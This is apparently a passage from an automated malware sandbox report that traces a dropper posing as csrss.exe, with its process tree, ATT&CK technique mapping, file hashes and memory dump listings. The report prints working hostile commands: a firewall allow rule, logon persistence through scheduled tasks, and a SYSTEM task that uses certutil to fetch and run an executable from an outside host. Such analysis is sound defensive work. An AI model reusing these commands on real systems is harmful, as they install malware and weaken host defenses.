C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1864

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:568

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:1896

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1588

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1692

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220604152149.log C:\Windows\Logs\CBS\CbsPersist_20220604152149.cab
1⤵
- Drops file in Windows directory
PID:1484

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Disabling Security Tools

2

T1089

Modify Registry

3

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Windows\rss\csrss.exe
Filesize
4.4MB

MD5
54a520f5d265e1436948bfac54f97284

SHA1
47ac910cec047fc26990a9a20d7955419d547691

SHA256
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0

SHA512
a999721d5c3e9e5de1bf6e93f89fc37e8ce22b05241ffe345de7fdca42b9b62fa09287444f5c63c3545a25d006ac9fc2a99a3bf62df3d51d22cc22e418367792

Download Submit
\Windows\rss\csrss.exe
Filesize
4.4MB

MD5
54a520f5d265e1436948bfac54f97284

SHA1
47ac910cec047fc26990a9a20d7955419d547691

SHA256
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0

SHA512
a999721d5c3e9e5de1bf6e93f89fc37e8ce22b05241ffe345de7fdca42b9b62fa09287444f5c63c3545a25d006ac9fc2a99a3bf62df3d51d22cc22e418367792

Download Submit
\Windows\rss\csrss.exe
Filesize
4.4MB

MD5
54a520f5d265e1436948bfac54f97284

SHA1
47ac910cec047fc26990a9a20d7955419d547691

SHA256
10db50b65cf8adecc3bc9eec24b84d815ecc9aa291e24e36d39310471628afe0

SHA512
a999721d5c3e9e5de1bf6e93f89fc37e8ce22b05241ffe345de7fdca42b9b62fa09287444f5c63c3545a25d006ac9fc2a99a3bf62df3d51d22cc22e418367792

Download Submit
memory/568-65-0x0000000000000000-mapping.dmp

Download
memory/568-66-0x000007FEFBEF1000-0x000007FEFBEF3000-memory.dmp

Filesize
8KB

Download
memory/748-64-0x0000000000400000-0x0000000002FCA000-memory.dmp

Filesize
43.8MB

Download
memory/748-71-0x0000000000400000-0x0000000002FCA000-memory.dmp

Filesize
43.8MB

Download
memory/748-61-0x0000000004AC0000-0x0000000004EF0000-memory.dmp

Filesize
4.2MB

Download
memory/748-62-0x0000000000400000-0x0000000002FCA000-memory.dmp

Filesize
43.8MB

Download
memory/748-60-0x0000000004AC0000-0x0000000004EF0000-memory.dmp

Filesize
4.2MB

Download
memory/1664-54-0x0000000004B30000-0x0000000004F60000-memory.dmp

Filesize
4.2MB

Download
memory/1664-59-0x0000000000400000-0x0000000002FCA000-memory.dmp

Filesize
43.8MB

Download
memory/1664-58-0x0000000000400000-0x0000000002FCA000-memory.dmp

Filesize
43.8MB

Download
memory/1664-57-0x0000000000400000-0x0000000002FCA000-memory.dmp

Filesize
43.8MB

Download
memory/1664-56-0x0000000004F60000-0x000000000586A000-memory.dmp

Filesize
9.0MB

Download
memory/1664-55-0x0000000004B30000-0x0000000004F60000-memory.dmp

Filesize
4.2MB

Download
memory/1864-63-0x0000000000000000-mapping.dmp

Download
memory/1896-69-0x0000000000000000-mapping.dmp

Download
memory/1896-72-0x00000000049D0000-0x0000000004E00000-memory.dmp

Filesize
4.2MB

Download
memory/1896-73-0x00000000049D0000-0x0000000004E00000-memory.dmp

Filesize
4.2MB

Download
memory/1896-74-0x0000000004E00000-0x000000000570A000-memory.dmp

Filesize
9.0MB

Download
memory/1896-75-0x0000000000400000-0x0000000002FCA000-memory.dmp

Filesize
43.8MB

Download
memory/1896-76-0x0000000000400000-0x0000000002FCA000-memory.dmp

Filesize
43.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads